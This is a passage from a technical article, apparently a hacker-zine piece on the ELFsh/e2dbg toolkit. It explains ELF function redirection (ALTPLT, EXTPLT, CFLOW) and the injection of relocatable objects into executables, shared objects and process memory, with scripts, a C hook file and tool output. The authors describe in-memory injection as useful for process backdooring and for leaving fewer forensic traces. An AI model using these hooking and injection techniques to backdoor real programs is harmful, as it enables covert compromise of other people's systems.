[001] R_386_JMP_SLOT 0x0804A8A4 sym[002] : puts
[002] R_386_JMP_SLOT 0x0804A8A8 sym[003] : malloc
[003] R_386_JMP_SLOT 0x0804A8AC sym[005] : __libc_start_main
[004] R_386_JMP_SLOT 0x0804A8B0 sym[006] : printf
[005] R_386_JMP_SLOT 0x0804A8B4 sym[007] : free
[006] R_386_JMP_SLOT 0x0804A8B8 sym[009] : read
[007] R_386_JMP_SLOT 0x0804A8BC sym[011] : _IO_putc
[008] R_386_JMP_SLOT 0x0804A8C0 sym[012] : write
[*] Object fake_aout unloaded
========= END DUMP 25 =========
As you see, _IO_putc (internal name for putchar) and write
functions has been used in the injected object. We had to
insert them inside the host binary so that the output binary
can work.
The .elfsh.relplt section is copied from the .rel.plt
section but with a doubled size so that we have room
for additional entries. Even if we extend only one of the
relocation table, both tables needs to be copied, because
on ET_DYN files, the rtld will assume that both tables
are adjacent in memory, so we cannot just copy .rel.plt
but also need to keep .rel.dyn (aka .rel.got) near the
.rel.plt copy. That is why you can see with .elfsh.reldyn
and .elfsh.relplt .
When extra symbols are needed, more sections are moved
after the BSS, including .dynsym and .dynstr.
---[ E. IA32, SPARC32/64, ALPHA64, MIPS32 compliant algorithms
Let's now give all algorithms details about the techniques we
introduced by the practice in the previous paragraphs. We
cover here all pseudos algorithms for ELF redirections. More
constrained debugging detailed algorithms are given at the end
of the next part.
Because of ALTPLT and ALTGOT techniques are so complementary,
we implemented them inside only one algorithm that we give
now. There is no conditions on the SPARC architecture since
it is the default architecture case in the listing.
The main ALTPLTv3 / ALTGOT algorithm (libelfsh/altplt.c) can be
found in elfsh_build_plt() and elfsh_relink_plt(), is as
follow.
It could probably be cleaned if all the code go in architecture
dependant handlers but that would duplicate some code, so we
keep it like this :
Multiarchitecture ALTPLT / ALTGOT algorithm
+-------------------------------------------+
0/ IF [ ARCH is MIPS AND PLT is not found AND File is dynamic ]
[
- Get .text section base address
- Find MIPS opcodes fingerprint for embedded PLT
located inside .text
- Fixup SHT to include PLT section header
]
1/ SWITCH on ELF architecture
[
MIPS:
* Insert mapped .elfsh.gotprolog section
* Insert mapped .elfsh.padgot section
ALPHA:
* Insert mapped .elfsh.pltprolog section
DEFAULT:
* Insert mapped .elfsh.altplt section (copy of .plt)
]
2/ IF [ ARCH is (MIPS or ALPHA or IA32) ]
[
* Insert .elfsh.altgot section (copy of .got)
]
3/ FOREACH (ALT)PLT ENTRY:
[
IF [ FIRST PLT entry ]
[
IF [ARCH is MIPS ]
[
* Insert pairs of ld/st instructions in
.elfsh.gotprolog for copying extern variables
addresses fixed in GOT by the RTLD inside
ALTGOT section. See MIPS altplt handler
in libelfsh/mips32.c
]
ELSE IF [ ARCH is IA32 ]
[
* Reencode the first PLT entry using GOT - ALTGOT
address difference (so we relocate into ALTGOT
instead of GOT)
]
]
IF [ ARCH is MIPS ]
* Inject OLD symbol on current PLT entry
ELSE
* Inject OLD symbol on current ALTPLT entry
IF [ ARCH is ALPHA ]
* Shift relocation entry pointing at current location
IF [ ARCH is IA32 ]
* Reencode PLT and ALTPLT current entry
]
4/ SWITCH on ELF architecture
[
MIPS:
IA32:
* Change DT_PLTGOT entry from GOT to ALTGOT address
* Shift GOT related relocation
SPARC:
* Change DT_PLTGOT entry from PLT to ALTPLT address
* Shift PLT related relocations
]
On MIPS, there is no relocation tables inside ET_EXEC binaries.
If we want to shift the relocations that make reference to GOT
inside the MIPS code, we need to fingerprint such code patterns
so that we fix them using the ALTGOT - GOT difference. They are
easily found since the needed patches are always on the same
binary instructions pattern :
3c1c0000 lui gp,0x0
279c0000 addiu gp,gp,0
The zero fields in those instructions should be patched at
linking time when they match HI16 and LO16 MIPS relocations.
However this information is not available in a table for
ET_EXEC files, so we had to find them back in the binary code.
It way easier to do this on RISC architectures since all
instructions are the same length so false positives are very
unlikely to happen. Once we found all those patterns, we fix
them using the ALTGOT-GOT difference in the relocatable fields.
Of course, we wont change ALL references to GOT inside the
code, because that would result in just moving the GOT without
performing any hijack. We just fix those references in the
first 0x100 bytes of .text, and in .init, .fini, that means
only the references at the reserved GOT entries (filled with
dl-resolve virtual address and linkmap address). That way, we
make the original code use the ALTGOT section when accessing
reserved entries (since they have been runtime relocated in
ALTGOT and not GOT) and the original GOT entries when accessing
the function entries (so that we can hijack functions using
GOT modification).
EXTPLT algorithm
+----------------+
The EXTPLT algorithm fits well in the previous algorithm. We
just needed to add 2 steps in the previous listing :
Step 2 BIS : Insert the EXTPLT (copy of PLT) section on
supported architectures.
Step 5 : Mirror (and extend) dynamic linking sections on
supported architectures. Let's give more details
about this algorithm implemented in
libelfsh/extplt.c.
* Mirror .rel.got (.rel.dyn) and .rel.plt sections after BSS,
with a double sized mirror sections. Those 2 sections needs to
stay adjacent in memory so that EXTPLT works on ET_DYN objects
as well.
* Update DT_REL and DT_JMPREL entries in .dynamic
* Mirror .dynsym and .dynstr sections with a double size
* Update DT_SYMTAB and DT_STRTAB entries in .dynamic
Once those operations are done, we have room in all the various
dynamic linking oriented sections and we can add on-demand
dynamic symbols, symbols names, and relocation entry necessary
for adding extra PLT entries in the EXTPLT section.
Then, each time we encounter a unknown symbol in the process of
relocating a ET_REL object inside a ET_EXEC or ET_DYN object,
we can use the REQUESTPLT algorithm, as implemented in
elfsh_request_pltent() function in the libelfsh/extplt.c file :
* Check room in EXTPLT, RELPLT, DYNSYM, DYNSTR, and
ALTGOT sections.
* Initialize ALTGOT entry to EXTPLT allocated new entry.
* Encode EXTPLT entry for using the ALTGOT entry.
* Insert relocation entry inside .elfsh.relplt for ALTGOT
new entry.
* Add relocation entry size to DT_PLTRELSZ entry value in
.dynamic section.
* Insert missing symbol in .elfsh.dynsym, with name inserted in
.elfsh.dynstr section.
* Add symbol name length to DT_STRSZ entry value in .dynamic
section.
This algorithm is called from the main ET_REL injection and
relocation algorithm each time the ET_REL object use an unknown
function whoose symbol is not present in the host file. The
new ET_REL injection algorithm is given at the end of the
constrained debugging part of the article.
CFLOW algorithm
+----------------+
This technique is implemented using an architecture dependant
backend but the global algorithm stays the same for all
architectures :
- Create .elfsh.hooks sections (only 1 time)
- Find number of bytes aligned on instruction size :
* Using libasm on IA32
* Manually on RISC machines
- Insert HOOK entry on demand (see CFLOW dump for format)
- Insert JMP to hook entry in hijacked function prolog
- Align JUMP hook on instruction size with NOP in hijacked prolog
- Insert hook_funcname and old_funcname symbols in hook entry for
beeing able to call back the original function.
The technique is PaX safe since it does not need any runtime
bytes restoration step. We can hook the address of our choice
using the CFLOW technique, however executing the original bytes
in the hook entry instead of their original place will not work
when placing hooks on relative branching instructions. Indeed,
relatives branching will be resolved to a wrong virtual address
if we execute their opcodes at the wrong place (inside
.elfsh.hooks instead of their original place) inside the
process. Remember this when placing CFLOW hooks : it is not
intended to hook relative branch instructions.
-------[ V. Constrained Debugging
In nowadays environment, hardened binaries are usually
of type ET_DYN. We had to support this kind of injection
since it allows for library files modification as much
powerful as the the executable files modification. Moreover
some distribution comes with a default binary set compiled
in ET_DYN, such as hardened gentoo.
Another improvement that we wanted to be done is the ET_REL
relocation in memory. The algorithm for it is the same than
the ondisk injection, but this time the disk is not changed
so it reduces forensics evidences like in [12]. It is believed
that this kind of injection can be used in exploits and direct
process backdooring without touching the hard disk. Evil eh ?
We are aware of another implementation of the ET_REL injection
into memory [10]. Ours supports a wider range of architecture and
couples with the EXTPLT technique directly in memory, which
was not previously implemented to our knowledge.
A last technique that we wanted to develop was about extending
and debugging static executables. We developed this new technique
that we called EXTSTATIC algorithm. It allows for static
injections by taking parts of libc.a when functions or code is
missing. The same ET_REL injection algorithm is used except
that more than one relocatable file taken from libc.a is
injected at a time using a recursive dependency algorithm.
---[ A. ET_REL relocation in memory
Because we want to be able to provide a handler for breakpoints
as they are specified, we allow for direct mapping of an ET_REL
object into memory. We use extra mmap zone for this, always
taking care that it does not break PaX : we do not map any zone
beeing both executable and writable.
In e2dbg, breakpoints can be implemented in 2 ways. Either an
architecture specific opcode (like 0xCC on IA32) is used on the
desired redirected access, or the CFLOW/ALTPLT primitives can be
used in runtime. In the second case, the mprotect system
call must be used to be able to modify code at runtime. However
we may be able to get rid of mprotect soon for runtime injections
as the CFLOW techniques improves for beeing both static and
runtime PaX safe.
Let's look at some simple binary that does just use printf and
and puts to understand more those concepts:
========= BEGIN DUMP 26 =========
elfsh@WTH $ ./a.out
[host] main argc 1
[host] argv[0] is : ./a.out
First_printf test
First_puts
Second_printf test
Second_puts
LEGIT FUNC
legit func (test) !
========= END DUMP 26 =========
We use a small elfsh script as e2dbg so that it creates
another file with the debugger injected inside it, using
regular elfsh techniques. Let's look at it :
========= BEGIN DUMP 27 =========
elfsh@WTH $ cat inject_e2dbg.esh
#!../../vm/elfsh
load a.out
set 1.dynamic[08].val 0x2 # entry for DT_DEBUG
set 1.dynamic[08].tag DT_NEEDED
redir main e2dbg_run
save a.out_e2dbg
========= END DUMP 27 =========
We then execute the modified binary.
========= BEGIN DUMP 28 =========
elfsh@WTH $ ./aout_e2dbg
The Embedded ELF Debugger 0.65 (32 bits built) .::.
.::. This software is under the General Public License V.2
.::. Please visit http://www.gnu.org
[*] Sun Jul 31 16:24:00 2005 - New object ./a.out_e2dbg loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/tls/libc.so.6 loaded
[*] Sun Jul 31 16:24:00 2005 - New object ./ibc.so.6 loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/ld-linux.so.2 loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/libelfsh.so loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/libreadline.so.5 loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/libtermcap.so.2 loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/libdl.so.2 loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/libncurses.so.5 loaded
(e2dbg-0.65) quit
[..: Embedded ELF Debugger returns to the grave :...]
[e2dbg_run] returning to 0x08045139
[host] main argc 1
[host] argv[0] is : ./a.out_e2dbg
First_printf test
First_puts
Second_printf test
Second_puts
LEGIT FUNC
legit func (test) !
elfsh@WTH $
========= END DUMP 28 =========
Okay, that was easy. What if we want to do something more
interresting like ET_REL object injection into memory. We
will make use of the profile command so that we can see
the autoprofiling feature of e2dbg. This command is always
useful to learn more about the internals of the debugger,
and for internal debugging problems that may occur while
developping it.
Our cheap function calls pattern matching makes the output
more understandable than a raw print of profiling information
and took only a few hours to implement using the
ELFSH_PROFILE_{OUT,ERR,ROUT} macros in libelfsh-internals.h
and libelfsh/error.c
We will also print the linkmap list. The linkmap first fields
are OS independant. There are a lot of other internal fields
that we do not display here but a lot of information could
be grabbed from there as well.
See the stuff in action :
========= BEGIN DUMP 29 =========
elfsh@WTH $ ./a.out_e2dbg
The Embedded ELF Debugger 0.65 (32 bits built) .::.
.::. This software is under the General Public License V.2
.::. Please visit http://www.gnu.org
[*] Sun Jul 31 16:12:48 2005 - New object ./a.out_e2dbg loaded
[*] Sun Jul 31 16:12:48 2005 - New object /lib/tls/libc.so.6 loaded
[*] Sun Jul 31 16:12:48 2005 - New object ./ibc.so.6 loaded
[*] Sun Jul 31 16:12:48 2005 - New object /lib/ld-linux.so.2 loaded
[*] Sun Jul 31 16:12:48 2005 - New object /lib/libelfsh.so loaded
[*] Sun Jul 31 16:12:48 2005 - New object /lib/libreadline.so.5 loaded
[*] Sun Jul 31 16:12:48 2005 - New object /lib/libtermcap.so.2 loaded
[*] Sun Jul 31 16:12:48 2005 - New object /lib/libdl.so.2 loaded
[*] Sun Jul 31 16:12:48 2005 - New object /lib/libncurses.so.5 loaded
(e2dbg-0.65) linkmap
.::. Linkmap entries .::.
[01] addr : 0x00000000 dyn : 0x080497D4 -
[02] addr : 0x00000000 dyn : 0xFFFFE590 -
[03] addr : 0xB7E73000 dyn : 0xB7F9AD3C - /lib/tls/libc.so.6
[04] addr : 0xB7E26000 dyn : 0xB7E6F01C - ./ibc.so.6
[05] addr : 0xB7FB9000 dyn : 0xB7FCFF14 - /lib/ld-linux.so.2
[06] addr : 0xB7DF3000 dyn : 0xB7E24018 - /lib/libelfsh.so
[07] addr : 0xB7DC6000 dyn : 0xB7DEE46C - /lib/libreadline.so.5
[08] addr : 0xB7DC2000 dyn : 0xB7DC5BB4 - /lib/libtermcap.so.2
[09] addr : 0xB7DBE000 dyn : 0xB7DC0EEC - /lib/libdl.so.2
[10] addr : 0xB7D7C000 dyn : 0xB7DBB1C0 - /lib/libncurses.so.5
(e2dbg-0.65) list
.::. Working files .::.
[001] Sun Jul 31 16:24:00 2005 D ID: 9 /lib/libncurses.so.5
[002] Sun Jul 31 16:24:00 2005 D ID: 8 /lib/libdl.so.2
[003] Sun Jul 31 16:24:00 2005 D ID: 7 /lib/libtermcap.so.2
[004] Sun Jul 31 16:24:00 2005 D ID: 6 /lib/libreadline.so.5
[005] Sun Jul 31 16:24:00 2005 D ID: 5 /lib/libelfsh.so
[006] Sun Jul 31 16:24:00 2005 D ID: 4 /lib/ld-linux.so.2
[007] Sun Jul 31 16:24:00 2005 D ID: 3 ./ibc.so.6
[008] Sun Jul 31 16:24:00 2005 D ID: 2 /lib/tls/libc.so.6
[009] Sun Jul 31 16:24:00 2005 *D ID: 1 ./a.out_e2dbg
.::. ELFsh modules .::.
[*] No loaded module
(e2dbg-0.65) source ./etrelmem.esh
~load myputs.o
[*] Sun Jul 31 16:13:32 2005 - New object myputs.o loaded
[!!] Loaded file is not the linkmap, switching to STATIC mode
~switch 1
[*] Switched on object 1 (./a.out_e2dbg)
~mode dynamic
[*] e2dbg is now in DYNAMIC mode
~reladd 1 10
[*] ET_REL myputs.o injected succesfully in ET_EXEC ./a.out_e2dbg
~profile
.:: Profiling enable
+ <vm_print_actual@loop.c:38>
~redir puts myputs
+ <vm_implicit@implicit.c:91>
+ <cmd_hijack@fcthijack.c:19>
+ <elfsh_get_metasym_by_name@sym_common.c:283>
+ <elfsh_get_dynsymbol_by_name@dynsym.c:255>
+ <elfsh_get_dynsymtab@dynsym.c:87>
+ <elfsh_get_raw@section.c:691>
[P] --[ <elfsh_get_raw@section.c:691>
[P] --- Last 1 function(s) recalled 1 time(s) ---
+ <elfsh_get_dynsymbol_name@dynsym.c:17>
[W] <elfsh_get_dynsymbol_by_name@dynsym.c:274> Symbol not found
[P] --[ <elfsh_get_raw@section.c:691>
[P] --[ <elfsh_get_dynsymbol_name@dynsym.c:17>
[P] --- Last 2 function(s) recalled 12 time(s) ---
+ <elfsh_get_symbol_by_name@symbol.c:236>
+ <elfsh_get_symtab@symbol.c:110>
+ <elfsh_get_symbol_name@symbol.c:20>
[P] --[ <elfsh_get_symbol_name@symbol.c:20>
[P] --- Last 1 function(s) recalled 114 time(s) ---
+ <elfsh_hijack_function_by_name@hijack.c:25>
+ <elfsh_setup_hooks@hooks.c:199>
+ <elfsh_get_pagesize@hooks.c:783>
+ <elfsh_get_archtype@hooks.c:624>
+ <elfsh_get_arch@elf.c:179>
+ <elfsh_copy_plt@altplt.c:525>
+ <elfsh_static_file@elf.c:491>
+ <elfsh_get_segment_by_type@pht.c:215>
+ <elfsh_get_pht@pht.c:364>
+ <elfsh_get_segment_type@pht.c:174>
[P] --[ <elfsh_get_segment_type@pht.c:174>
[P] --- Last 1 function(s) recalled 4 time(s) ---
+ <elfsh_get_arch@elf.c:179>
[P] --[ <elfsh_get_arch@elf.c:179>
[P] --- Last 1 function(s) recalled 1 time(s) ---
+ <elfsh_relink_plt@altplt.c:121>
+ <elfsh_get_archtype@hooks.c:624>
[P] --[ <elfsh_get_arch@elf.c:179>
[P] --[ <elfsh_relink_plt@altplt.c:121>
[P] --[ <elfsh_get_archtype@hooks.c:624>
[P] --- Last 3 function(s) recalled 1 time(s) ---
+ <elfsh_get_elftype@hooks.c:662>
+ <elfsh_get_objtype@elf.c:204>
+ <elfsh_get_ostype@hooks.c:709>
+ <elfsh_get_real_ostype@hooks.c:679>
+ <elfsh_get_interp@interp.c:41>
+ <elfsh_get_raw@section.c:691>
[P] --[ <elfsh_get_raw@section.c:691>
[P] --- Last 1 function(s) recalled 1 time(s) ---
+ <elfsh_get_section_by_name@section.c:168>
+ <elfsh_get_section_name@sht.c:474>
[P] --[ <elfsh_get_section_name@sht.c:474>
[P] --- Last 1 function(s) recalled 1 time(s) ---
+ <elfsh_get_symbol_by_name@symbol.c:236>
+ <elfsh_get_symtab@symbol.c:110>
+ <elfsh_get_symbol_name@symbol.c:20>
[W] <elfsh_get_symbol_by_name@symbol.c:253> Symbol not found
[P] --[ <elfsh_get_symbol_name@symbol.c:20>
[P] --- Last 1 function(s) recalled 114 time(s) ---
+ <elfsh_is_pltentry@plt.c:73>
[W] <elfsh_is_pltentry@plt.c:77> Invalid NULL parameter
+ <elfsh_get_dynsymbol_by_name@dynsym.c:255>
+ <elfsh_get_dynsymtab@dynsym.c:87>
+ <elfsh_get_raw@section.c:691>
[P] --[ <elfsh_get_raw@section.c:691>
[P] --- Last 1 function(s) recalled 1 time(s) ---
+ <elfsh_get_dynsymbol_name@dynsym.c:17>
[P] --[ <elfsh_is_pltentry@plt.c:73>
[P] --[ <elfsh_get_dynsymbol_by_name@dynsym.c:255>
[P] --[ <elfsh_get_dynsymtab@dynsym.c:87>
[P] --[ <elfsh_get_raw@section.c:691>
[P] --[ <elfsh_get_dynsymbol_name@dynsym.c:17>
[P] --- Last 5 function(s) recalled 1 time(s) ---
+ <elfsh_get_plt@plt.c:16>
+ <elfsh_is_plt@plt.c:49>
+ <elfsh_get_section_name@sht.c:474>
+ <elfsh_is_altplt@plt.c:62>
[P] --[ <elfsh_is_plt@plt.c:49>
[P] --[ <elfsh_get_section_name@sht.c:474>
[P] --[ <elfsh_is_altplt@plt.c:62>
[P] --- Last 3 function(s) recalled 3 time(s) ---
+ <elfsh_get_anonymous_section@section.c:334>
+ <elfsh_get_raw@section.c:691>
[P] --[ <elfsh_is_plt@plt.c:49>
[P] --[ <elfsh_get_section_name@sht.c:474>
[P] --[ <elfsh_is_altplt@plt.c:62>
[P] --[ <elfsh_get_anonymous_section@section.c:334>
[P] --[ <elfsh_get_raw@section.c:691>
[P] --- Last 5 function(s) recalled 44 time(s) ---
+ <elfsh_get_arch@elf.c:179>
[P] --[ <elfsh_get_arch@elf.c:179>
[P] --- Last 1 function(s) recalled 1 time(s) ---
+ <elfsh_hijack_plt_ia32@ia32.c:258>
+ <elfsh_get_foffset_from_vaddr@raw.c:85>
+ <elfsh_get_pltentsz@plt.c:94>
[P] --[ <elfsh_get_arch@elf.c:179>
[P] --[ <elfsh_hijack_plt_ia32@ia32.c:258>
[P] --[ <elfsh_get_foffset_from_vaddr@raw.c:85>
[P] --[ <elfsh_get_pltentsz@plt.c:94>
[P] --- Last 4 function(s) recalled 1 time(s) ---
+ <elfsh_munprotect@runtime.c:97>
+ <elfsh_get_parent_section@section.c:380>
+ <elfsh_get_parent_segment@pht.c:304>
+ <elfsh_segment_is_readable@pht.c:14>
+ <elfsh_segment_is_writable@pht.c:21>
+ <elfsh_segment_is_executable@pht.c:28>
+ <elfsh_raw_write@raw.c:22>
+ <elfsh_get_parent_section_by_foffset@section.c:416>
+ <elfsh_get_sht@sht.c:159>
+ <elfsh_get_section_type@sht.c:887>
+ <elfsh_get_anonymous_section@section.c:334>
+ <elfsh_get_raw@section.c:691>
+ <elfsh_raw_write@raw.c:22>
+ <elfsh_get_parent_section_by_foffset@section.c:416>
+ <elfsh_get_sht@sht.c:159>
+ <elfsh_get_section_type@sht.c:887>
+ <elfsh_get_anonymous_section@section.c:334>
+ <elfsh_get_raw@section.c:691>
+ <elfsh_get_pltentsz@plt.c:94>
+ <elfsh_get_arch@elf.c:179>
+ <elfsh_mprotect@runtime.c:135>
[*] Function puts redirected to addr 0xB7FB6000 <myputs>
+ <vm_print_actual@loop.c:38>
~profile
+ <vm_implicit@implicit.c:91>
.:: Profiling disable
[*] ./etrelmem.esh sourcing -OK-
(e2dbg-0.65) continue
[..: Embedded ELF Debugger returns to the grave :...]
[e2dbg_run] returning to 0x08045139
[host] main argc 1
[host] argv[0] is : ./a.out_e2dbg
First_printf test
Hijacked puts !!! arg = First_puts
First_puts
Second_printf test
Hijacked puts !!! arg = Second_puts
Second_puts
Hijacked puts !!! arg = LEGIT FUNC
LEGIT FUNC
legit func (test) !
elfsh@WTH $
========= END DUMP 29 =========
Really cool. We hijacked 2 functions (puts and legit_func) using
the 2 different (ALTPLT and CFLOW) techniques. For this, we
did not have to inject an additional ET_REL file inside the
ET_EXEC host, but we directly injected the hook module inside
memory using mmap.
We could have printed the SHT and PHT as well just after the
ET_REL injection into memory. We keep track of all mapping
when we inject such relocatable objects, so that we can
eventually unmap them in the future or remap them later :
========= BEGIN DUMP 30 =========
(e2dbg-0.65) s
[SECTION HEADER TABLE .::. SHT is not stripped]
[Object ./a.out_e2dbg]
[000] 0x00000000 ------- foff:00000 size:00308
[001] 0x08045134 a-x---- .elfsh.hooks foff:00308 size:00015
[002] 0x08046134 a-x---- .elfsh.extplt foff:04404 size:00032
[003] 0x08047134 a-x---- .elfsh.altplt foff:08500 size:04096
[004] 0x08048134 a------ .interp foff:12596 size:00019
[005] 0x08048148 a------ .note.ABI-tag foff:12616 size:00032
[006] 0x08048168 a------ .hash foff:12648 size:00064
[007] 0x080481A8 a------ .dynsym foff:12712 size:00176
[008] 0x08048258 a------ .dynstr foff:12888 size:00112
[009] 0x080482C8 a------ .gnu.version foff:13000 size:00022
[010] 0x080482E0 a------ .gnu.version_r foff:13024 size:00032
[011] 0x08048300 a------ .rel.dyn foff:13056 size:00016
[012] 0x08048310 a------ .rel.plt foff:13072 size:00056
[013] 0x08048348 a-x---- .init foff:13128 size:00023
[014] 0x08048360 a-x---- .plt foff:13152 size:00128
[015] 0x08048400 a-x---- .text foff:13312 size:00800
[016] 0x08048720 a-x---- .fini foff:14112 size:00027
[017] 0x0804873C a------ .rodata foff:14140 size:00185
[018] 0x080487F8 a------ .eh_frame foff:14328 size:00004
[019] 0x080497FC aw----- .ctors foff:14332 size:00008
[020] 0x08049804 aw----- .dtors foff:14340 size:00008
[021] 0x0804980C aw----- .jcr foff:14348 size:00004
[022] 0x08049810 aw----- .dynamic foff:14352 size:00200
[023] 0x080498D8 aw----- .got foff:14552 size:00004
[024] 0x080498DC aw----- .got.plt foff:14556 size:00040
[025] 0x08049904 aw----- .data foff:14596 size:00012
[026] 0x08049910 aw----- .bss foff:14608 size:00008
[027] 0x08049918 aw----- .elfsh.altgot foff:14616 size:00044
[028] 0x08049968 aw----- .elfsh.dynsym foff:14696 size:00192
[029] 0x08049AC8 aw----- .elfsh.dynstr foff:15048 size:00122
[030] 0x08049BA8 aw----- .elfsh.reldyn foff:15272 size:00016
[031] 0x08049BB8 aw----- .elfsh.relplt foff:15288 size:00064
[032] 0x00000000 ------- .comment foff:15400 size:00665
[033] 0x00000000 ------- .debug_aranges foff:16072 size:00120
[034] 0x00000000 ------- .debug_pubnames foff:16192 size:00042
[035] 0x00000000 ------- .debug_info foff:16234 size:06904
[036] 0x00000000 ------- .debug_abbrev foff:23138 size:00503
[037] 0x00000000 ------- .debug_line foff:23641 size:00967
[038] 0x00000000 ------- .debug_frame foff:24608 size:00076
[039] 0x00000000 ---ms-- .debug_str foff:24684 size:08075
[040] 0x00000000 ------- .debug_macinfo foff:32759 size:29295
[041] 0x00000000 ------- .shstrtab foff:62054 size:00496
[042] 0x00000000 ------- .symtab foff:64473 size:02256
[043] 0x00000000 ------- .strtab foff:66729 size:01665
[044] 0x40019000 aw----- myputs.o.bss foff:68394 size:04096
[045] 0x00000000 ------- .elfsh.rpht foff:72493 size:04096
[046] 0x4001A000 a-x---- myputs.o.text foff:76589 size:04096
[047] 0x4001B000 a--ms-- myputs.o.rodata.str1.1 foff:80685 size:04096
(e2dbg-0.65) p
[Program Header Table .::. PHT]
[Object ./a.out_e2dbg]
[00] 0x08045034 -> 0x08045134 r-x memsz(00256) filesz(00256)
[01] 0x08048134 -> 0x08048147 r-- memsz(00019) filesz(00019)
[02] 0x08045000 -> 0x080487FC r-x memsz(14332) filesz(14332)
[03] 0x080497FC -> 0x08049C30 rw- memsz(01076) filesz(01068)
[04] 0x08049810 -> 0x080498D8 rw- memsz(00200) filesz(00200)
[05] 0x08048148 -> 0x08048168 r-- memsz(00032) filesz(00032)
[06] 0x00000000 -> 0x00000000 rw- memsz(00000) filesz(00000)
[07] 0x00000000 -> 0x00000000 --- memsz(00000) filesz(00000)
[SHT correlation]
[Object ./a.out_e2dbg]
[*] SHT is not stripped
[00] PT_PHDR
[01] PT_INTERP .interp
[02] PT_LOAD .elfsh.hooks .elfsh.extplt .elfsh.altplt .interp
.note.ABI-tag .hash .dynsym .dynstr .gnu.version
.gnu.version_r .rel.dyn .rel.plt .init .plt
.text .fini .rodata .eh_frame
[03] PT_LOAD .ctors .dtors .jcr .dynamic .got .got.plt .data
.bss .elfsh.altgot .elfsh.dynsym .elfsh.dynstr
.elfsh.reldyn .elfsh.relplt
[04] PT_DYNAMIC .dynamic
[05] PT_NOTE .note.ABI-tag
[06] PT_GNU_STACK
[07] PT_PAX_FLAGS
[Runtime Program Header Table .::. RPHT]
[Object ./a.out_e2dbg]
[00] 0x40019000 -> 0x4001A000 rw- memsz(4096) filesz(4096)
[01] 0x4001A000 -> 0x4001B000 r-x memsz(4096) filesz(4096)
[02] 0x4001B000 -> 0x4001C000 r-x memsz(4096) filesz(4096)
[SHT correlation]
[Object ./a.out_e2dbg]
[*] SHT is not stripped
[00] PT_LOAD myputs.o.bss
[01] PT_LOAD myputs.o.text
[02] PT_LOAD myputs.o.rodata.str1.1
(e2dbg-0.65)
========= BEGIN DUMP 30 =========
Our algorithm is not really optimized since it allocates
a new PT_LOAD by section. Here, we created a new table RPHT
(Runtime PHT) which handle the list of all runtime injected
pages. This table has no legal existance in the ELF file,
but that avoid to extend the real PHT with additional
runtime memory areas. The technique does not break PaX
since all zones are allocated using the strict necessary
rights. However, if you want to redirect existing functions
on the newly injected functions from myputs.o, then you
will have to change some code in runtime, and then it
becomes necessary to disable mprotect option to avoid
breaking PaX.
---[ B. ET_REL relocation into ET_DYN
We ported the ET_REL injection and the EXTPLT technique to
ET_DYN files. The biggest difference is that ET_DYN files have
a relative address space ondisk. Of course, stripped binaries
have no effect on our algorithms and we dont need any
non-mandatory information such as debug sections or anything
(it may be obvious but some peoples really asked this).
Let's see what happens on this ET_DYN host file:
========= BEGIN DUMP 31 =========
elfsh@WTH $ file main
main: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV),
stripped
elfsh@WTH $ ./main
0x800008c8 main(argc=0xbfa238d0, argv=0xbfa2387c, envp=0xbfa23878,
auxv=0xbfa23874) __guard=0xb7ef4148
ssp-all (Stack) Triggering an overflow by copying [20] of data into [10]
of space
main: stack smashing attack in function main()
Aborted
elfsh@WTH $ ./main AAAAA
0x800008c8 main(argc=0xbf898e40, argv=0xbf898dec, envp=0xbf898de8,
auxv=0xbf898de4) __guard=0xb7f6a148
ssp-all (Stack) Copying [5] of data into [10] of space
elfsh@WTH $ ./main AAAAAAAAAAAAAAAAAAAAAAAAAAA
0x800008c8 main(argc=0xbfd3c8e0, argv=0xbfd3c88c, envp=0xbfd3c888,
auxv=0xbfd3c884) __guard=0xb7f0b148
ssp-all (Stack) Copying [27] of data into [10] of space
main: stack smashing attack in function main()
Aborted
========= END DUMP 31 =========
For the sake of fun, we decided to study in priority the
hardened gentoo binaries [11] . Those comes with PIE (Position
Independant Executable) and SSP (Stack Smashing Protection)
built in. It does not change a line of our algorithm. Here
are some tests done on a stack smashing protected binary
with an overflow in the first parameter, triggering the
stack smashing handler. We will redirect that handler
to show that it is a normal function that use classical
PLT mechanisms.
This is the code that we are going to inject :
========= BEGIN DUMP 32 =========
elfsh@WTH $ cat simple.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int fake_main(int argc, char **argv)
{
old_printf("I am the main function, I have %d argc and my "
"argv is %08X yupeelala \n",
argc, argv);
write(1, "fake_main is calling write ! \n", 30);
old_main(argc, argv);
return (0);
}
char* fake_strcpy(char *dst, char *src)
{
printf("The fucker wants to copy %s at address %08X \n", src, dst);
return ((char *) old_strcpy(dst, src));
}
void fake_stack_smash_handler(char func[], int damaged)
{
static int i = 0;
printf("calling printf from stack smashing handler %u\n", i++);
if (i>3)
old___stack_smash_handler(func, damaged);
else
printf("Same player play again [damaged = %08X] \n", damaged);
printf("A second (%d) printf from the handler \n", 2);
}
int fake_libc_start_main(void *one, void *two, void *three, void *four,
void *five, void *six, void *seven)
{
static int i = 0;
old_printf("fake_libc_start_main \n");
printf("start_main has been run %u \n", i++);
return (old___libc_start_main(one, two, three, four,
five, six, seven));
}
========= END DUMP 32 =========
The elfsh script that allow for the modification is :
========= BEGIN DUMP 33 =========
elfsh@WTH $ cat relinject.esh
#!../../../vm/elfsh
load main
load simple.o
reladd 1 2
redir main fake_main
redir __stack_smash_handler fake_stack_smash_handler
redir __libc_start_main fake_libc_start_main
redir strcpy fake_strcpy
save fake_main
quit
========= END DUMP 33 =========
Now let's see this in action !
========= BEGIN DUMP 34 =========
elfsh@WTH $ ./relinject.esh
The ELF shell 0.65 (32 bits built) .::.
.::. This software is under the General Public License V.2
.::. Please visit http://www.gnu.org
~load main
[*] Sun Jul 31 17:24:20 2005 - New object main loaded
~load simple.o
[*] Sun Jul 31 17:24:20 2005 - New object simple.o loaded
~reladd 1 2
[*] ET_REL simple.o injected succesfully in ET_DYN main
~redir main fake_main
[*] Function main redirected to addr 0x00005154 <fake_main>
~redir __stack_smash_handler fake_stack_smash_handler
[*] Function __stack_smash_handler redirected to addr
0x00005203 <fake_stack_smash_handler>
~redir __libc_start_main fake_libc_start_main
